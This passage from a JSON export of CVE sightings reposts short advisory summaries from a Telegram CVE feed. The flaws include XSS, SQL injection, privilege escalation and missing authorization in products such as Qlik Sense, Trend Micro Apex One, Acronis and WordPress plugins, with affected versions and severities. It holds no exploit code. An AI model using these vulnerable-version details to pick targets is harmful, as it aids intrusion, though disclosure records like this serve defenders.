attributes in Markdown in the internal templates listed below not escaped in internal render hooks. Those whoa re impacted are Hugo users who do not trust their Markdown content files and are using one or more of these templates: `_default/_markup/render-link.html` from `v0.123.0`; `_default/_markup/render-image.html` from `v0.123.0`; `_default/_markup/render-table.html` from `v0.134.0`; and/or `shortcodes/youtube.html` from `v0.125.0`. This issue is patched in v0.139.4. As a workaround, one may replace an affected component with user defined templates or disable the internal templates. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T23:54:37.000000Z"}, {"uuid": "83363bfe-b41c-499d-8b4a-66b4ded7cf94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55268", "type": "seen", "source": "https://t.me/cvedetector/12244", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55268 - A Reflected Cross Site Scripting (XSS) vulnerabili\", \n  \"Content\": \"CVE ID : CVE-2024-55268 \nPublished : Dec. 6, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : A Reflected Cross Site Scripting (XSS) vulnerability was found in /covidtms/registered-user-testing.php in PHPGurukul COVID 19 Testing Management System 1.0 which allows remote attackers to execute arbitrary code via the regmobilenumber parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-06T18:58:10.000000Z"}, {"uuid": "a2726fa0-943d-4500-992c-2a3613e3e2a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55580", "type": "seen", "source": "https://t.me/cvedetector/12350", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55580 - Qlik Sense Enterprise Command Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55580 \nPublished : Dec. 9, 2024, 3:15 a.m. | 17\u00a0minutes ago \nDescription : An issue was discovered in Qlik Sense Enterprise for Windows before November 2024 IR. Unprivileged users with network access may be able to execute remote commands that could cause high availability damages, including high integrity and confidentiality risks. This is fixed in November 2024 IR, May 2024 Patch 10, February 2024 Patch 14, November 2023 Patch 16, August 2023 Patch 16, May 2023 Patch 18, and February 2023 Patch 15. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T04:39:30.000000Z"}, {"uuid": "bc64efed-8068-4973-8790-c6c5c694e69a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55917", "type": "seen", "source": "https://t.me/cvedetector/14050", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55917 - Trend Micro Apex One Elevation of Privilege Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55917 \nPublished : Dec. 31, 2024, 5:15 p.m. | 25\u00a0minutes ago \nDescription : An origin validation error vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations.  \n  \nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T18:44:00.000000Z"}, {"uuid": "ed1a3161-1045-4838-8594-f68433d9d297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55632", "type": "seen", "source": "https://t.me/cvedetector/14049", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55632 - Trend Micro Apex One Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55632 \nPublished : Dec. 31, 2024, 5:15 p.m. | 25\u00a0minutes ago \nDescription : A security agent link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations.  \n  \nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T18:43:59.000000Z"}, {"uuid": "4e803854-5b45-4aa0-b6ac-7162d90317c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55565", "type": "seen", "source": "https://t.me/cvedetector/12343", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55565 - Nanoid Before Integer Value Handling\", \n  \"Content\": \"CVE ID : CVE-2024-55565 \nPublished : Dec. 9, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : nanoid (aka Nano ID) before 5.0.9 mishandles non-integer values. 3.3.8 is also a fixed version. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:18.000000Z"}, {"uuid": "01943a9e-c82b-4686-a027-1bd0783d8200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55579", "type": "seen", "source": "https://t.me/cvedetector/12349", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55579 - Qlik Sense Enterprise Windows Escalation of Privilege\", \n  \"Content\": \"CVE ID : CVE-2024-55579 \nPublished : Dec. 9, 2024, 3:15 a.m. | 17\u00a0minutes ago \nDescription : An issue was discovered in Qlik Sense Enterprise for Windows before November 2024 IR. An unprivileged user with network access may be able to create connection objects that trigger execution of arbitrary EXE files. This is fixed in November 2024 IR, May 2024 Patch 10, February 2024 Patch 14, November 2023 Patch 16, August 2023 Patch 16, May 2023 Patch 18, and February 2023 Patch 15. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T04:39:29.000000Z"}, {"uuid": "f5826629-e9e3-473a-a48d-5a3f01ca335c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55563", "type": "seen", "source": "https://t.me/cvedetector/12341", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55563 - Bitcoin Core Transaction Relay Jamming Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55563 \nPublished : Dec. 9, 2024, 1:15 a.m. | 1\u00a0hour, 8\u00a0minutes ago \nDescription : Bitcoin Core through 27.2 allows transaction-relay jamming via an off-chain protocol attack, a related issue to CVE-2024-52913. For example, the outcome of an HTLC (Hashed Timelock Contract) can be changed because a flood of transaction traffic prevents propagation of certain Lightning channel transactions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T03:49:17.000000Z"}, {"uuid": "80f3874d-aeee-48ab-9bc8-3483a1697d3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55560", "type": "seen", "source": "https://t.me/cvedetector/12333", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55560 - \"MailCleaner SSH Key Exposure Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-55560 \nPublished : Dec. 8, 2024, 11:15 p.m. | 36\u00a0minutes ago \nDescription : MailCleaner before 28d913e has default values of ssh_host_dsa_key, ssh_host_rsa_key, and ssh_host_ed25519_key that persist after installation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"09 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-09T01:18:39.000000Z"}, {"uuid": "1d19d5e1-c535-494a-a218-11ea4023c7b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55864", "type": "seen", "source": "https://t.me/cvedetector/13066", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55864 - My WP Customize Admin Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55864 \nPublished : Dec. 17, 2024, 5:15 a.m. | 20\u00a0minutes ago \nDescription : Cross-site scripting vulnerability exists in My WP Customize Admin/Frontend versions prior to ver 1.24.1. If a malicious administrative user customizes the administrative page with some malicious contents, an arbitrary script may be executed on the web browser of the other users who are accessing the page. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T06:44:55.000000Z"}, {"uuid": "940ef752-63c1-4fef-bfb2-69514f5155af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55995", "type": "seen", "source": "https://t.me/cvedetector/14036", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55995 - Torod Holding LTD Torod Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55995 \nPublished : Dec. 31, 2024, 2:15 p.m. | 39\u00a0minutes ago \nDescription : Missing Authorization vulnerability in Torod Holding LTD Torod allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Torod: from n/a through 1.7. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T16:13:35.000000Z"}, {"uuid": "74eb4d70-a7c5-4560-8a12-087ea2359406", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55507", "type": "seen", "source": "https://t.me/cvedetector/14222", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55507 - CodeAstro Complaint Management System Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55507 \nPublished : Jan. 3, 2025, 4:15 p.m. | 35\u00a0minutes ago \nDescription : An issue in CodeAstro Complaint Management System v.1.0 allows a remote attacker to escalate privileges via the delete_e.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-03T17:51:28.000000Z"}, {"uuid": "09878fd9-1246-4612-a1c3-786c92ba764b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5591", "type": "seen", "source": "https://t.me/cvedetector/14221", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-5591 - IBM Jazz Foundation Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-5591 \nPublished : Jan. 3, 2025, 3:15 p.m. | 36\u00a0minutes ago \nDescription : IBM Jazz Foundation 7.0.2, 7.0.3, and 7.1.0 could allow a remote attacker to obtain sensitive information when a detailed technical error message is returned in the browser. This information could be used in further attacks against the system. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-03T17:01:19.000000Z"}, {"uuid": "d2052c93-d945-4a23-9f62-35c6ae5d1a1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55078", "type": "seen", "source": "https://t.me/cvedetector/14219", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55078 - WukongCRM Arbitrary Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55078 \nPublished : Jan. 3, 2025, 3:15 p.m. | 36\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the component /adminUser/updateImg of WukongCRM-11.0-JAVA v11.3.3 allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-03T17:01:16.000000Z"}, {"uuid": "9724c405-5749-466a-9bdc-5f55cdef46e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55541", "type": "seen", "source": "https://t.me/cvedetector/14183", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55541 - Acronis Cyber Protect Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55541 \nPublished : Jan. 2, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : Stored cross-site scripting (XSS) vulnerability due to missing origin validation in postMessage. The following products are affected: Acronis Cyber Protect 16 (Linux, Windows) before build 39169. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T17:36:37.000000Z"}, {"uuid": "b19d8164-8790-4121-baed-22fe0d1bb692", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55538", "type": "seen", "source": "https://t.me/cvedetector/14160", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55538 - Acronis True Image Missing Authentication Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55538 \nPublished : Jan. 2, 2025, 3:15 p.m. | 27\u00a0minutes ago \nDescription : Sensitive information disclosure due to missing authentication. The following products are affected: Acronis True Image (macOS) before build 41725, Acronis True Image (Windows) before build 41736. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T16:46:01.000000Z"}, {"uuid": "304d6eb1-c5f3-44ee-8c1d-79a5e3a7d5d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55543", "type": "seen", "source": "https://t.me/cvedetector/14176", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55543 - Acronis Cyber Protect DLL Hijacking\", \n  \"Content\": \"CVE ID : CVE-2024-55543 \nPublished : Jan. 2, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : Local privilege escalation due to DLL hijacking vulnerability. The following products are affected: Acronis Cyber Protect 16 (Windows) before build 39169. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T17:36:29.000000Z"}, {"uuid": "2fed75ac-f02b-412d-ba7f-7bb4a8e74581", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55542", "type": "seen", "source": "https://t.me/cvedetector/14175", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55542 - Acronis Tray Monitor Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55542 \nPublished : Jan. 2, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : Local privilege escalation due to excessive permissions assigned to Tray Monitor service. The following products are affected: Acronis Cyber Protect 16 (Linux, macOS, Windows) before build 39169, Acronis Cyber Protect Cloud Agent (Linux, macOS, Windows) before build 35895. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"02 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-02T17:36:28.000000Z"}, {"uuid": "448f7026-9151-4bb2-9cdb-5fdf5600b026", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55955", "type": "seen", "source": "https://t.me/cvedetector/14051", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55955 - Trend Micro Deep Security Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55955 \nPublished : Dec. 31, 2024, 5:15 p.m. | 25\u00a0minutes ago \nDescription : An incorrect permissions assignment vulnerability in Trend Micro Deep Security 20.0 agents between versions 20.0.1-9400 and 20.0.1-23340 could allow a local attacker to escalate privileges on affected installations.  \n  \nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T18:44:00.000000Z"}, {"uuid": "9e14a782-3882-4c8d-aec4-73e3dc8675c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55631", "type": "seen", "source": "https://t.me/cvedetector/14053", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55631 - Trend Micro Apex One Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55631 \nPublished : Dec. 31, 2024, 5:15 p.m. | 25\u00a0minutes ago \nDescription : An engine link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations.  \n  \nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T18:44:02.000000Z"}, {"uuid": "49fc7afe-94da-4537-90a2-b3b552757347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55991", "type": "seen", "source": "https://t.me/cvedetector/14011", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55991 - WP-CRM System Missing Authorization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55991 \nPublished : Dec. 31, 2024, 1:15 p.m. | 38\u00a0minutes ago \nDescription : Missing Authorization vulnerability in WP-CRM WP-CRM System allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP-CRM System: from n/a through 3.2.9.1. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"31 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-31T15:22:53.000000Z"}, {"uuid": "3c4b2348-71bb-44d9-9cad-83a46d1dc343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55986", "type": "seen", "source": "https://t.me/cvedetector/12999", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55986 - ServiceOnline SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55986 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in serviceonline Service allows Blind SQL Injection.This issue affects Service: from n/a through 1.0.4. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:52.000000Z"}, {"uuid": "636fa517-8c5a-427e-b7e1-6703c43eb995", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55982", "type": "seen", "source": "https://t.me/cvedetector/12998", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55982 - Richteam Share Buttons \u2013 Social Media SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55982 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in richteam Share Buttons \u2013 Social Media allows Blind SQL Injection.This issue affects Share Buttons \u2013 Social Media: from n/a through 1.0.2. \nSeverity: 9.3 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:51.000000Z"}, {"uuid": "d676318c-5c08-41b9-abd6-d92caa08b1bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55981", "type": "seen", "source": "https://t.me/cvedetector/12997", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55981 - Nabz Image Gallery SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55981 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Nabajit Roy Nabz Image Gallery allows SQL Injection.This issue affects Nabz Image Gallery: from n/a through v1.00. \nSeverity: 9.3 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:51.000000Z"}, {"uuid": "f9f5ac24-3289-4330-aac0-2306e3411d32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55980", "type": "seen", "source": "https://t.me/cvedetector/12996", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55980 - Webriderz Wr Age Verification SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55980 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Webriderz Wr Age Verification allows SQL Injection.This issue affects Wr Age Verification: from n/a through 2.0.0. \nSeverity: 9.3 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:50.000000Z"}, {"uuid": "f4b32c27-0b66-4c8e-a656-e6269a4b7fb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55993", "type": "seen", "source": "https://t.me/cvedetector/12995", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55993 - PickPlugins Job Board Manager Missing Authorization\", \n  \"Content\": \"CVE ID : CVE-2024-55993 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Missing Authorization vulnerability in PickPlugins Job Board Manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Job Board Manager: from n/a through 2.1.60. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:49.000000Z"}, {"uuid": "b798d06d-73d1-4966-9b78-4bb29f177661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55989", "type": "seen", "source": "https://t.me/cvedetector/12994", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55989 - \"Ignored: Oracle SQLi in WP Simple Pay Lite Manager\"\", \n  \"Content\": \"CVE ID : CVE-2024-55989 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kyle M. Brown WP Simple Pay Lite Manager allows SQL Injection.This issue affects WP Simple Pay Lite Manager: from n/a through 1.4. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:45.000000Z"}, {"uuid": "e8d01d1a-417b-45c5-83c5-2d6c14d14c78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55998", "type": "seen", "source": "https://t.me/cvedetector/12993", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55998 - Mare.io Popup Surveys &amp; Polls for WordPress Authorization Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55998 \nPublished : Dec. 16, 2024, 3:15 p.m. | 1\u00a0hour ago \nDescription : Missing Authorization vulnerability in dusthazard Popup Surveys &amp; Polls for WordPress (Mare.io) allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Popup Surveys &amp; Polls for WordPress (Mare.io): from n/a through 1.36. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T17:20:44.000000Z"}, {"uuid": "dc290242-1a5c-4975-8076-0e22a2a40168", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 